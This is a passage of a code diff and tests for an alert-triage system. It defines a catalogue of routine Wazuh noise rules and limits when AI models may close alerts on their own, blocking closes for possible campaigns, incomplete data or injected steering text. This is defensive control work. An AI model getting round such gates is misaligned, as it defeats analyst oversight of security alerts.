labelled benign) and add +the abuse test when the family can hide one. +""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Any, Dict, FrozenSet, Mapping, NamedTuple, Optional, Tuple + +__all__ = [ + "CATALOGUE", + "CATALOGUE_VERSION", + "WAZUH", + "DetectionRule", + "NoiseFamily", + "detection_rule", + "noise_family", +] + +#: Bumped on every reviewed change to :data:`CATALOGUE`. +CATALOGUE_VERSION = "2026-11-09.1" +WAZUH = "wazuh" +_RULE_ID = re.compile(r"^[0-9]{1,7}$") + + +class DetectionRule(NamedTuple): + """The vendor detection rule that raised an alert.""" + + vendor: str + rule_id: str + + +@dataclass(frozen=True) +class NoiseFamily: + """A family of vendor rules whose meaning is routine operational telemetry.""" + + family: str + vendor: str + rule_ids: FrozenSet[str] + #: Why the rule's meaning is routine: what it reports and why that reports no attack. + rationale: str + #: The attack the family could hide, or ``"none known"``. + could_hide: str + #: Whether :attr:`could_hide` names a known abuse (it then needs an escalation test). + abuse_known: bool + + +CATALOGUE: Tuple[NoiseFamily, ...] = ( + NoiseFamily( + family="linux_package_install", + vendor=WAZUH, + # 2901 dpkg "requested to install", 2902 dpkg "installed", 2932 yum "New Yum package installed", + # 2933 yum "Yum package updated" (stock rules of the dpkg and yum decoders, levels 3 to 7). + rule_ids=frozenset({"2901", "2902", "2932", "2933"}), + rationale=( + "The package manager's own log of an install or update: patching and provisioning produce these " + "on every host, in bursts. Removals (dpkg 2903, yum 2934) are left out: removing a security agent " + "or audit package is defense impairment (T1562.001)." + ), + could_hide=( + "A malicious or backdoored package installed by an actor with root (T1546.016 installer packages, " + "T1195 supply chain); the actor can also write a dpkg.log line to fire the rule." + ), + abuse_known=True, + ), + NoiseFamily( + family="windows_software_install", + vendor=WAZUH, + # 60612 "Application installed": the Windows Installer (MsiInstaller) reports a completed product install. + rule_ids=frozenset({"60612"}), + rationale=( + "Windows Installer's record of a completed product install; software deployment and self-updating " + "applications produce these daily. The product name in the description is event data and is never " + "read." + ), + could_hide=( + "Software install as execution: a malicious MSI run through msiexec (T1218.007) or a remote-access " + "tool installed for persistence (T1219)." + ), + abuse_known=True, + ), + NoiseFamily( + family="antivirus_status", + vendor=WAZUH, + # 62107 "Antimalware scan started", 62108 "Antimalware scan finished", + # 62130 "Antimalware definitions updated successfully" (Windows Defender operational rules). + rule_ids=frozenset({"62107", "62108", "62130"}), + rationale=( + "Microsoft Defender's scheduled scans and signature updates: health telemetry that reports no " + "finding. A detection is a different Defender event and rule (malware or potentially unwanted " + "software found, action taken or failed), never one of these. Definition rollbacks, failed updates " + "and protection being turned off are different rules and are not catalogued." + ), + could_hide="None known: a started, finished or updated scan engine gives an actor nothing.", + abuse_known=False, + ), + NoiseFamily( + family="web_client_error", + vendor=WAZUH, + # 31101 "Web server 400 error code." (web access-log rules); 31102 is the level-0 ignored-files variant. + rule_ids=frozenset({"31101"}), + rationale=( + "A single 4xx answer in a web access log: broken links, crawlers and expired sessions produce these " + "constantly. Attack signatures in the same access log (SQL injection, XSS, common web attacks, an " + "attack answered with 200) and repeated 4xx from one source (31151, level 10, high) are separate, " + "mapped rules and are not catalogued. 5xx answers (31120-31123) are left out: a server error can be " + "the side effect of an exploit attempt." + ), + could_hide=( + "Probing or a failed exploit attempt that matched no attack signature (T1595 active scanning, T1190)." + ), + abuse_known=True, + ), +) + +_INDEX: Dict[DetectionRule, NoiseFamily] = { + DetectionRule(entry.vendor, rule_id): entry for entry in CATALOGUE for rule_id in entry.rule_ids +} + + +def _wazuh_rule(alert: Mapping[str, Any]) -> Optional[DetectionRule]: + raw = alert.get("raw") + rule = raw.get("rule") if isinstance(raw, Mapping) else None + if not isinstance(rule, Mapping): + return None + rule_id = rule.get("id") + if isinstance(rule_id, int) and not isinstance(rule_id, bool): + rule_id = str(rule_id) + if not isinstance(rule_id, str) or not _RULE_ID.match(rule_id.strip()): + return None + rule_id = rule_id.strip() + # What the Wazuh normalizer writes (``": "``): the canonical alert was built from this event. + rule_name = alert.get("rule_name") + if not isinstance(rule_name, str) or not rule_name.startswith(f"{rule_id}: "): + return None + return DetectionRule(WAZUH, rule_id) + + +def detection_rule(alert: Any) -> Optional[DetectionRule]: + """The vendor detection rule of a canonical alert with its raw event, or ``None`` when it is not known. + + Only Wazuh is recognised today: the rule id of the event (``raw.rule.id``, + digits only), when the canonical rule name is the Wazuh normalizer's + ``": "``. Titles and descriptions are never read. + """ + if not isinstance(alert, Mapping): + return None + return _wazuh_rule(alert) + + +def noise_family(alert: Any) -> Optional[NoiseFamily]: + """The catalogued noise family of the alert's detection rule, or ``None``.""" + rule = detection_rule(alert) + return None if rule is None else _INDEX.get(rule) diff --git a/src/lg_sotf/domain/routing.py b/src/lg_sotf/domain/routing.py index 11665f3c..60f45a43 100644 --- a/src/lg_sotf/domain/routing.py +++ b/src/lg_sotf/domain/routing.py @@ -18,6 +18,9 @@ tenant's autonomy tier is ``auto_full_audit``, through a model-led close (:mod:`lg_sotf.domain.closure`, code ``model_closed``) that every condition of that module allows. With the tier ``off`` a model never closes alone. + Policy v2.1 (FIX-2) lets a catalogued noise rule (vendor and rule id, + :mod:`lg_sotf.domain.noise_families`) lift only the ``unmapped`` class, + and tells one rule repeating apart from a campaign. * A response the policy (not an analyst) chose goes to an analyst when an action failed or none completed; it closes (disposition ``malicious``) once its actions succeeded or ran in the tenant's dry-run mode. Blocked @@ -41,7 +44,7 @@ from pydantic import BaseModel, ConfigDict -from lg_sotf.domain import closure +from lg_sotf.domain import closure, noise_families from lg_sotf.models.vocabulary import BENIGN_DECISIONS, COMPLETED_ACTION_STATUSES, HIGH_SEVERITIES, ROUTES from lg_sotf.models.vocabulary import Route as DecideRoute @@ -259,9 +262,11 @@ def _low_threat( state, tier=tier, max_likelihood=t.model_close_max_likelihood, min_certainty=t.model_close_min_certainty ) if not blockers: - return Decision( - "close", "AI-closed, audit required: both model tiers judged it benign", "benign", closure.MODEL_CLOSED - ) + reason = "AI-closed, audit required: both model tiers judged it benign" + family = closure.catalogued_noise(state.get("alert")) + if family is not None: + reason += f" (catalogued noise {family.family}, catalogue {noise_families.CATALOGUE_VERSION})" + return Decision("close", reason, "benign", closure.MODEL_CLOSED) return Decision("escalate", "low threat verdict lacks approved benign evidence", None, "false_positive_review") diff --git a/src/lg_sotf/invariants/checks.py b/src/lg_sotf/invariants/checks.py index 32c86dda..3ffc056e 100644 --- a/src/lg_sotf/invariants/checks.py +++ b/src/lg_sotf/invariants/checks.py @@ -130,7 +130,8 @@ def _benign_state(severity: str, *, evidence: bool = True, tactic: Optional[str] def check_routing_policy(settings: Settings) -> CheckResult: """With this install's thresholds, a benign verdict never closes a high alert at any autonomy tier, a model - never closes alone with the tier ``off``, and never a never-close class (INV-03).""" + never closes alone with the tier ``off``, never a never-close class, and never next to a different detection on + the alert's entities (a possible campaign, FIX-2) (INV-03).""" thresholds = RoutingThresholds.from_settings(settings.routing) closed: List[str] = [] for severity in sorted(HIGH_SEVERITIES): @@ -144,6 +145,11 @@ def check_routing_policy(settings: Settings) -> CheckResult: credential = _benign_state("low", evidence=False, tactic="Credential Access") if decide(credential, thresholds, MODEL_CLOSE_TIER).route == "close": closed.append("credential access alert closed on the models' verdict") + chain = _benign_state("low", evidence=False) + chain["correlation"] = {"related_count": 1, "related_rule_repeats": 0, "related_complete": True, + "related_threats": 0, "related_dispositions": {"benign": 1}} + if decide(chain, thresholds, MODEL_CLOSE_TIER).route == "close": + closed.append("alert closed on the models' verdict next to a different detection on its entities") corroborated = _benign_state("low") corroborated["analysis"].update(rule_corroborated=True, rule_evidence=["threat_intel_malicious"]) if decide(corroborated, thresholds, "off").route == "close": @@ -152,7 +158,7 @@ def check_routing_policy(settings: Settings) -> CheckResult: "routing_policy", not closed, "; ".join(closed) or "a benign model verdict closes no high or critical alert, nothing with model-led closure " - "off, no never-close class, and no alert with evidence of a threat", + "off, no never-close class, nothing next to a different detection, and no alert with evidence of a threat", ) diff --git a/src/lg_sotf/invariants/registry.py b/src/lg_sotf/invariants/registry.py index 7cf5a8f4..087664de 100644 --- a/src/lg_sotf/invariants/registry.py +++ b/src/lg_sotf/invariants/registry.py @@ -115,13 +115,20 @@ class Invariant: "class. Without such evidence it closes on the models' word only when the tenant's autonomy tier is " "auto_full_audit and both model tiers judge it benign within the install's thresholds, never for the " "never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, " - "persistence through attacker-named objects, unmapped alerts), steering text, entities with a recent " - "true positive or a campaign in progress; such a close is marked model_closed for audit. With the tier " - "off, the default, a model never closes an alert alone." + "persistence through attacker-named objects, unmapped alerts unless the vendor rule id is in the reviewed " + "noise catalogue, never matched on text), steering text, entities with a recent true positive or a " + "campaign in progress (anything but the same detection rule repeating as benign noise over a complete " + "related set); such a close is marked model_closed for audit. With the tier off, the default, a model " + "never closes an alert alone." ), epic="AI-E6", threats=("TM-WRK-1", "TM-WRK-2"), - code=("src/lg_sotf/domain/routing.py", "src/lg_sotf/domain/closure.py", "src/lg_sotf/domain/benign_evidence.py"), + code=( + "src/lg_sotf/domain/routing.py", + "src/lg_sotf/domain/closure.py", + "src/lg_sotf/domain/noise_families.py", + "src/lg_sotf/domain/benign_evidence.py", + ), proofs=( "tests/unit/domain/test_routing.py::test_llm_only_evidence_never_closes_high_or_critical_at_triage", "tests/unit/domain/test_routing.py::test_decide_never_closes_high_severity", @@ -135,7 +142,17 @@ class Invariant: "tests/unit/domain/test_closure.py::test_a_scanner_or_test_source_never_closes_a_never_close_class", "tests/unit/domain/test_closure.py::test_a_campaign_in_progress_is_never_model_closed", "tests/unit/domain/test_closure.py::test_review_f2_sentinel_credential_access_is_a_never_close_class", + "tests/unit/domain/test_noise_families.py::test_a_forged_or_borrowed_title_on_an_uncatalogued_rule_stays_unmapped", + "tests/unit/domain/test_noise_families.py::test_the_catalogue_lifts_only_unmapped_never_a_mapped_never_close_class", + "tests/unit/domain/test_noise_families.py::test_every_other_condition_still_blocks_a_catalogued_rule", + "tests/unit/domain/test_noise_families.py::" + "test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates", + "tests/unit/agents/test_campaign_split.py::test_a_different_detection_on_the_same_host_is_a_possible_kill_chain", + "tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when", + "tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed", "tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close", + "tests/integration/engine/test_model_closure.py::" + "test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not", "tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on", "tests/integration/e2e/test_llm_safety.py::test_injected_benign_instructions_never_close_an_alert", "tests/unit/agents/test_title_camouflage.py::" diff --git a/tests/integration/engine/test_model_closure.py b/tests/integration/engine/test_model_closure.py index beab59aa..86d730bd 100644 --- a/tests/integration/engine/test_model_closure.py +++ b/tests/integration/engine/test_model_closure.py @@ -75,3 +75,46 @@ async def test_the_tenant_tier_decides_whether_the_models_close(engine: Workflow await repos.tenants.update_settings(TENANT_A, {"ai_closure": {"tier": "off"}}) again = await routine_alert(repos, "again") assert (await engine.run(TENANT_A, again)).status == "waiting_human" + + +DPKG = "New dpkg (Debian Package) installed." + + +async def wazuh_alert(repos: Repositories, name: str, rule_id: str, description: str, **normalized: Any) -> str: + """A Wazuh alert on host db-07 as the Wazuh normalizer stores it: the rule id in the raw event and the rule name.""" + fields: Dict[str, Any] = { + "title": ROUTINE, "rule_name": f"{rule_id}: {description}", "description": ROUTINE, + "entities": {"hosts": ["db-07"]}, "mitre": {"tactics": [], "techniques": []}, **normalized, + } + raw = {"rule": {"id": rule_id, "level": 7, "description": description}, "agent": {"name": "db-07"}} + return await make_alert(repos, TENANT_A, source_alert_id=f"fix2-{name}", title=ROUTINE, severity="medium", + raw=raw, normalized=fields) + + +async def test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not( + engine: WorkflowEngine, repos: Repositories +) -> None: + """FIX-2 through the real workflow and correlation: an unmapped Wazuh package install (rule 2902, catalogued) + closes on the models' word, and so do its repeats on the same host; a different detection on that host, and + every repeat after it, goes to an analyst. An uncatalogued unmapped rule never closes.""" + await repos.tenants.update_settings(TENANT_A, {"ai_closure": {"tier": "auto_full_audit"}}) + for name in ("first", "second", "third"): + alert_id = await wazuh_alert(repos, name, "2902", DPKG) + assert (await engine.run(TENANT_A, alert_id)).status == "completed", name + decided = await decide_event(repos, alert_id) + assert decided["code"] == "model_closed" and "catalogued noise linux_package_install" in decided["reason"] + correlation = (await repos.alerts.get(TENANT_A, alert_id)).summary["correlation"] + assert (correlation["related_count"], correlation["related_rule_repeats"], correlation["related_complete"]) == ( + 2, 2, True) + + other = await wazuh_alert(repos, "logon", "60106", "Windows logon success", + mitre={"tactics": ["Initial Access"], "techniques": ["T1078"]}) + assert (await engine.run(TENANT_A, other)).status == "waiting_human" + assert (await decide_event(repos, other))["code"] == "false_positive_review" + after = await wazuh_alert(repos, "after", "2902", DPKG) + assert (await engine.run(TENANT_A, after)).status == "waiting_human" + correlation = (await repos.alerts.get(TENANT_A, after)).summary["correlation"] + assert correlation["related_count"] == 4 and correlation["related_rule_repeats"] == 3 + + custom = await wazuh_alert(repos, "custom", "100200", DPKG, entities={"hosts": ["db-08"]}) + assert (await engine.run(TENANT_A, custom)).status == "waiting_human" diff --git a/tests/unit/agents/_support.py b/tests/unit/agents/_support.py index 8b973da9..e5c63658 100644 --- a/tests/unit/agents/_support.py +++ b/tests/unit/agents/_support.py @@ -36,6 +36,7 @@ class StoredAlert: disposition: Optional[str] = None occurred_at: datetime = NOW normalized: Dict[str, Any] = field(default_factory=dict) + raw: Dict[str, Any] = field(default_factory=dict) summary: Dict[str, Any] = field(default_factory=dict) diff --git a/tests/unit/agents/test_campaign_split.py b/tests/unit/agents/test_campaign_split.py new file mode 100644 index 00000000..3c63e200 --- /dev/null +++ b/tests/unit/agents/test_campaign_split.py @@ -0,0 +1,175 @@ +"""The campaign split (FIX-2, decision policy v2.1): one detection rule repeating is noise; different detections on +the same entities are a possible kill chain. + +The correlation agent counts, over every related alert, the quiet repeats of +this alert's own vendor rule (``related_rule_repeats``) and whether the +related set is complete (``related_complete``); the real routing policy then +decides on the digest it produced. +""" + +from __future__ import annotations + +from datetime import timedelta +from typing import Any, Callable, Dict, List, Optional + +import pytest + +from lg_sotf.agents.base import AgentContext +from lg_sotf.agents.correlation.base import CorrelationAgent, CorrelationResult +from lg_sotf.domain import routing +from lg_sotf.domain.closure import MODEL_CLOSED, model_close_blockers +from lg_sotf.domain.routing import RoutingThresholds +from lg_sotf.settings import Settings +from tests.unit.agents._support import NOW, FakeBlindAudit, Related, StoredAlert, fake_repos + +T = RoutingThresholds() +AUTO = "auto_full_audit" +HOST = "web-01" +BENIGN_SUMMARY: Dict[str, Any] = {"triage": {"threat_assessment": "benign", "threat_likelihood": 3}, + "analysis": {"verdict": "benign", "certainty": 90}} +RULES = { + "2902": "New dpkg (Debian Package) installed.", + "5402": "Successful sudo to ROOT executed.", + "80792": "Audit: Command: /usr/bin/curl.", +} + + +def wazuh(rule_id: str, *, mitre: Optional[Dict[str, List[str]]] = None) -> Dict[str, Any]: + """A Wazuh alert on ``HOST`` as the correlation agent sees it: canonical fields and the raw event.""" + description = RULES[rule_id] + return { + "title": description, "severity": "medium", "rule_name": f"{rule_id}: {description}", + "entities": {"hosts": [HOST]}, "mitre": mitre or {"tactics": [], "techniques": []}, + "raw": {"rule": {"id": rule_id, "level": 7, "description": description}, "agent": {"name": HOST}}, + } + + +def stored(alert_id: str, rule_id: str, *, status: str = "waiting_human", summary: Optional[Dict[str, Any]] = None, + disposition: Optional[str] = None, mitre: Optional[Dict[str, List[str]]] = None) -> StoredAlert: + document = wazuh(rule_id, mitre=mitre) + raw = document.pop("raw") + return StoredAlert(id=alert_id, title=document["title"], status=status, disposition=disposition, + normalized=document, raw=raw, summary=BENIGN_SUMMARY if summary is None else summary) + + +async def correlate(settings: Settings, others: List[StoredAlert], *, rule_id: str = "2902", + pending: tuple = (), max_correlations: int = 10) -> CorrelationResult: # type: ignore[type-arg] + related = [Related(a.id, 1, NOW - timedelta(minutes=2)) for a in others] + repos = fake_repos(alerts=others, related=related) + repos.blind_audit = FakeBlindAudit(pending) + agent = CorrelationAgent(settings=settings, config={"enable_llm_correlation": False, + "max_correlations": max_correlations}) + return await agent.run(AgentContext("t1", "a1", settings, repos=repos), wazuh(rule_id), base_confidence=25, now=NOW) + + +def decide(result: CorrelationResult, rule_id: str = "2902") -> routing.Decision: + """The real routing decision for an alert both model tiers call benign, with the digest the agent produced.""" + state = { + "severity": "medium", "confidence": 25, "alert": wazuh(rule_id), + "triage": {"rule_fp": [], "rule_tp": [], "llm_used": True, "threat_assessment": "benign", + "threat_likelihood": 3}, + "correlation": dict(result.digest()), + "analysis": {"threat_score": 8, "certainty": 92, "verdict": "benign", "rule_evidence": [], + "rule_corroborated": False, "llm_used": True}, + } + return routing.decide(state, T, AUTO) + + +async def test_the_same_rule_repeating_as_benign_noise_is_not_a_campaign(make_settings: Callable[..., Settings]) -> None: + """A burst of one rule (dpkg installs during patching), every repeat judged benign and still open for review: + before FIX-2 the burst and the open reviews blocked every close, so the check blocked itself.""" + others = [stored(f"r{i}", "2902") for i in range(7)] + others.append(stored("r7", "2902", status="closed", disposition="benign", + summary={**BENIGN_SUMMARY, "close_reason": "ai_closed:audit_required"})) + result = await correlate(make_settings(), others) + assert result.burst and result.related_count == 8 and result.related_open_reviews == 7 + assert (result.related_rule_repeats, result.related_complete, result.related_threats) == (8, True, 0) + assert decide(result).code == MODEL_CLOSED + + +async def test_a_different_detection_on_the_same_host_is_a_possible_kill_chain( + make_settings: Callable[..., Settings], +) -> None: + """Mixed rules on one host (package installs, then sudo to root, then curl): even when every one of them was + judged benign and closed, the other rules count against closing; one alert alone is enough.""" + for intruder in (stored("x", "5402"), stored("x", "80792", status="closed", disposition="benign"), + stored("x", "5402", status="closed", disposition="benign", + summary={**BENIGN_SUMMARY, "close_reason": "analyst:false_positive"})): + result = await correlate(make_settings(), [stored(f"r{i}", "2902") for i in range(4)] + [intruder]) + assert (result.related_count, result.related_rule_repeats, result.related_complete) == (5, 4, True) + decision = decide(result) + assert decision.route == "escalate", intruder + # Seen from the other side: the sudo alert next to the dpkg repeats is not a repeat of its own rule either. + result = await correlate(make_settings(), [stored(f"r{i}", "2902") for i in range(4)], rule_id="5402") + assert result.related_rule_repeats == 0 and decide(result, "5402").route == "escalate" + + +@pytest.mark.parametrize( + ("why", "repeat"), + [ + ("a model judged it malicious", {"summary": {**BENIGN_SUMMARY, "analysis": {"verdict": "malicious"}}}), + ("the fast tier judged it suspicious", + {"summary": {**BENIGN_SUMMARY, "triage": {"threat_assessment": "suspicious"}}}), + ("the fast tier judged it a likely threat", + {"summary": {**BENIGN_SUMMARY, "triage": {"threat_assessment": "likely_threat"}}}), + ("the deep tier could not tell", {"summary": {**BENIGN_SUMMARY, "analysis": {"verdict": "inconclusive"}}}), + ("no model judged it yet (still in flight)", {"status": "processing", "summary": {}}), + ("only the rules judged it", {"summary": {"triage": {"llm_used": False}}}), + ("it is a response plan awaiting approval", {"status": "waiting_approval"}), + ("it is in a never-close class", {"mitre": {"tactics": ["Credential Access"], "techniques": ["T1110"]}}), + ], +) +async def test_a_same_rule_alert_still_counts_against_closing_when( + why: str, repeat: Dict[str, Any], make_settings: Callable[..., Settings] +) -> None: + others = [stored(f"r{i}", "2902") for i in range(3)] + [stored("odd", "2902", **repeat)] + result = await correlate(make_settings(), others) + assert (result.related_count, result.related_rule_repeats) == (4, 3), why + assert decide(result).route == "escalate", why + + +async def test_an_incomplete_related_set_fails_closed(make_settings: Callable[..., Settings]) -> None: + """The query hit its limit (more related alerts may exist, a kill chain among them), or a related alert is + hidden while it waits for a blind-audit label: the counts cover only part of the set, so a close is blocked.""" + settings = make_settings() + full = await correlate(settings, [stored(f"r{i}", "2902") for i in range(5)], max_correlations=5) + assert (full.related_count, full.related_rule_repeats, full.related_complete) == (5, 5, False) + assert decide(full).route == "escalate" + hidden = await correlate(settings, [stored("r0", "2902"), stored("audit", "5402")], pending=("audit",)) + assert (hidden.related_count, hidden.related_rule_repeats, hidden.related_complete) == (1, 1, False) + assert decide(hidden).route == "escalate" + only_hidden = await correlate(settings, [stored("audit", "2902")], pending=("audit",)) + assert (only_hidden.related_count, only_hidden.related_complete) == (0, False) + assert decide(only_hidden).route == "escalate" + alone = await correlate(settings, []) + assert (alone.related_count, alone.related_complete) == (0, True) and decide(alone).code == MODEL_CLOSED + + +async def test_an_unknown_rule_on_either_side_is_never_a_repeat(make_settings: Callable[..., Settings]) -> None: + """No vendor rule id (another vendor, a canonical alert, a raw event the state cap dropped): fail closed.""" + settings = make_settings() + no_raw = stored("r0", "2902") + no_raw.raw = {} + renamed = stored("r1", "2902") + renamed.normalized = {**renamed.normalized, "rule_name": "New dpkg (Debian Package) installed."} + result = await correlate(settings, [no_raw, renamed]) + assert (result.related_count, result.related_rule_repeats) == (2, 0) and decide(result).route == "escalate" + + agent = CorrelationAgent(settings=settings, config={"enable_llm_correlation": False}) + others = [stored("r0", "2902")] + repos = fake_repos(alerts=others, related=[Related("r0", 1, NOW)]) + this = {**wazuh("2902"), "raw": {"_omitted": "raw event too large for workflow state"}} + unknown = await agent.run(AgentContext("t1", "a1", settings, repos=repos), this, base_confidence=25, now=NOW) + assert unknown.related_rule_repeats == 0 + state = {"severity": "medium", "alert": this, "correlation": dict(unknown.digest())} + assert "campaign_in_progress" in model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) + + +async def test_the_new_counts_are_in_the_digest_but_never_in_the_correlation_prompt( + make_settings: Callable[..., Settings], +) -> None: + result = await correlate(make_settings(), [stored("r0", "2902")]) + digest = result.digest() + assert digest["related_rule_repeats"] == 1 and digest["related_complete"] is True + view = CorrelationAgent.alert_view(wazuh("2902")) + assert "raw" not in view and "related_rule_repeats" not in str(view) diff --git a/tests/unit/domain/test_closure.py b/tests/unit/domain/test_closure.py index e4387bd3..a51efd11 100644 --- a/tests/unit/domain/test_closure.py +++ b/tests/unit/domain/test_closure.py @@ -334,12 +334,25 @@ def test_a_scanner_or_test_source_never_closes_a_never_close_class(mitre: Dict[s @pytest.mark.parametrize( "correlation", [ + # FIX-1 digests (no repeat count, no completeness): unknown, so they fail closed whatever they say. {"related_count": 3, "burst": True, "related_threats": 0, "related_open_reviews": 0}, {"related_count": 3, "burst": False, "related_threats": 1, "related_open_reviews": 0}, {"related_count": 3, "burst": False, "related_threats": 0, "related_open_reviews": 2}, - {"related_count": 3, "burst": False}, # counts unknown: fail closed - {"related_count": 3, "related_threats": 0, "related_open_reviews": 0}, # burst unknown + {"related_count": 3, "burst": False, "related_threats": 0, "related_open_reviews": 0}, + {"related_count": 3, "burst": False}, {}, # nothing known about related alerts + # FIX-2 digests: anything but a complete set of quiet repeats of this rule. + {"related_count": 3, "related_rule_repeats": 2, "related_complete": True, "related_threats": 0}, + {"related_count": 3, "related_rule_repeats": 3, "related_complete": False, "related_threats": 0}, + {"related_count": 3, "related_rule_repeats": 3, "related_threats": 0}, # completeness unknown + {"related_count": 3, "related_rule_repeats": 3, "related_complete": "true", "related_threats": 0}, + {"related_count": 3, "related_rule_repeats": 3, "related_complete": True, "related_threats": 1}, + {"related_count": 3, "related_rule_repeats": 3, "related_complete": True}, # threats unknown + {"related_count": 3, "related_rule_repeats": None, "related_complete": True, "related_threats": 0}, + {"related_count": 3, "related_rule_repeats": 4, "related_complete": True, "related_threats": 0}, + {"related_count": -1, "related_rule_repeats": -1, "related_complete": True, "related_threats": 0}, + {"related_count": True, "related_rule_repeats": True, "related_complete": True, "related_threats": 0}, + {"related_count": 0, "related_complete": False}, # every related alert was hidden for a blind audit ], ) def test_a_campaign_in_progress_is_never_model_closed(correlation: Dict[str, Any]) -> None: @@ -348,9 +361,13 @@ def test_a_campaign_in_progress_is_never_model_closed(correlation: Dict[str, Any assert routing.decide(state, T, AUTO).route == "escalate" -def test_quiet_related_alerts_do_not_block_a_model_led_close() -> None: - quiet = {"related_count": 3, "burst": False, "related_threats": 0, "related_open_reviews": 0, - "related_dispositions": {"benign": 2, "undecided": 1}} - assert routing.decide(benign_state(correlation=quiet), T, AUTO).code == MODEL_CLOSED - ai_closed = {**quiet, "related_dispositions": {"ai_closed_unaudited": 3}} - assert routing.decide(benign_state(correlation=ai_closed), T, AUTO).code == MODEL_CLOSED +def test_a_burst_of_the_same_rule_judged_benign_is_not_a_campaign() -> None: + """FIX-2: the same detection rule repeating, every repeat judged benign, over a complete related set, does not + block; the burst and open reviews (the repeats waiting for an analyst) no longer block on their own.""" + repeats = {"related_count": 9, "related_rule_repeats": 9, "related_complete": True, "related_threats": 0, + "burst": True, "frequency_level": "high", "related_open_reviews": 9, + "related_dispositions": {"undecided": 6, "ai_closed_unaudited": 3}} + assert routing.decide(benign_state(correlation=repeats), T, AUTO).code == MODEL_CLOSED + for alone in ({"related_count": 0, "related_dispositions": {}}, + {"related_count": 0, "related_complete": True, "related_dispositions": {}}): + assert routing.decide(benign_state(correlation=alone), T, AUTO).code == MODEL_CLOSED diff --git a/tests/unit/domain/test_noise_families.py b/tests/unit/domain/test_noise_families.py new file mode 100644 index 00000000..bcd4cc2b --- /dev/null +++ b/tests/unit/domain/test_noise_families.py @@ -0,0 +1,257 @@ +"""The noise catalogue (FIX-2, decision policy v2.1): a catalogued vendor rule id lifts only ``unmapped``. + +Alerts are built the way the workflow sees them: a Wazuh event through the +real normalizer, with the stored raw event added and the state size cap +applied (:func:`lg_sotf.core.graph.cap_alert`). +""" + +from __future__ import annotations + +import copy +import json +from datetime import UTC, datetime +from typing import Any, Dict, Optional + +import pytest + +from lg_sotf.core.graph import cap_alert +from lg_sotf.domain import closure, routing +from lg_sotf.domain.closure import MODEL_CLOSED, UNMAPPED, model_close_blockers, model_close_class, never_close_class +from lg_sotf.domain.noise_families import ( + CATALOGUE, + CATALOGUE_VERSION, + WAZUH, + DetectionRule, + detection_rule, + noise_family, +) +from lg_sotf.domain.routing import RoutingThresholds +from lg_sotf.ingestion.normalizers import get_normalizer +from lg_sotf.ingestion.normalizers.base import NormalizeContext + +T = RoutingThresholds() +AUTO = "auto_full_audit" +CTX = NormalizeContext(source_id="wazuh-push", source_type="webhook", now=datetime(2026, 11, 9, tzinfo=UTC)) +DPKG = "New dpkg (Debian Package) installed." + + +def wazuh_event(rule_id: Any, description: str, *, level: int = 7, mitre: Optional[Dict[str, Any]] = None, + full_log: str = "2026-11-09 10:00:00 status installed htop:amd64 3.3.0-4") -> Dict[str, Any]: + rule: Dict[str, Any] = {"id": rule_id, "level": level, "description": description, "groups": ["syslog", "dpkg"]} + if mitre is not None: + rule["mitre"] = mitre + return {"timestamp": "2026-11-09T10:00:00.000+0000", "id": "1792751768.1", "rule": rule, + "agent": {"id": "004", "name": "web-01", "ip": "10.20.2.61"}, "manager": {"name": "wazuh-manager"}, + "decoder": {"name": "dpkg-decoder"}, "full_log": full_log, "location": "/var/log/dpkg.log"} + + +def state_alert(event: Dict[str, Any]) -> Dict[str, Any]: + """What ``initial_state`` puts in the workflow state: the canonical alert, its raw event, size-capped.""" + canonical = json.loads(get_normalizer("wazuh").normalize(event, CTX).model_dump_json()) + canonical["raw"] = copy.deepcopy(event) + return cap_alert(canonical) + + +def wazuh_state(event: Dict[str, Any], **changes: Any) -> Dict[str, Any]: + """Both model tiers benign within the thresholds, no rule evidence, no related alert (the closing case).""" + alert = state_alert(event) + state: Dict[str, Any] = { + "severity": alert["severity"], + "confidence": 25, + "alert": alert, + "triage": {"confidence": 25, "rule_fp": [], "rule_tp": [], "llm_used": True, "threat_assessment": "benign", + "threat_likelihood": 3}, + "correlation": {"related_count": 0, "related_complete": True, "related_dispositions": {}}, + "analysis": {"threat_score": 8, "certainty": 92, "verdict": "benign", "rule_threat_score": 40, + "rule_evidence": [], "rule_corroborated": False, "llm_used": True}, + } + for path, value in changes.items(): + *parents, leaf = path.split(".") + target = state + for key in parents: + target = target[key] + target[leaf] = value + return state + + +# --------------------------------------------------------------------------- the catalogue itself + + +def test_every_entry_records_its_family_rationale_and_the_abuse_it_could_hide() -> None: + assert CATALOGUE_VERSION and CATALOGUE + seen: Dict[str, str] = {} + for entry in CATALOGUE: + assert entry.vendor == WAZUH and entry.family and entry.rule_ids, entry + assert len(entry.rationale) > 60 and len(entry.could_hide) > 10, entry.family + assert entry.abuse_known is not entry.could_hide.lower().startswith("none known"), entry.family + for rule_id in entry.rule_ids: + assert rule_id.isdigit() and rule_id not in seen, (rule_id, entry.family) + seen[rule_id] = entry.family + assert {e.family for e in CATALOGUE if e.abuse_known} >= {"linux_package_install", "windows_software_install"} + + +@pytest.mark.parametrize( + ("rule_id", "description", "family"), + [ + ("2902", DPKG, "linux_package_install"), + ("2933", "Yum package updated.", "linux_package_install"), + ("60612", "Application installed Product: 7-Zip 24.08 (x64 edition) -- Installation completed.", + "windows_software_install"), + ("62130", "Windows Defender: Antimalware definitions updated successfully", "antivirus_status"), + ("31101", "Web server 400 error code.", "web_client_error"), + ], +) +def test_a_catalogued_rule_id_lifts_the_unmapped_class_and_closes_on_both_tiers( + rule_id: str, description: str, family: str +) -> None: + state = wazuh_state(wazuh_event(rule_id, description)) + assert never_close_class(state["alert"]) == UNMAPPED + assert detection_rule(state["alert"]) == DetectionRule(WAZUH, rule_id) + assert closure.catalogued_noise(state["alert"]).family == family # type: ignore[union-attr] + assert model_close_class(state["alert"]) is None + decision = routing.decide(state, T, AUTO) + assert (decision.route, decision.code) == ("close", MODEL_CLOSED) + assert f"catalogued noise {family}, catalogue 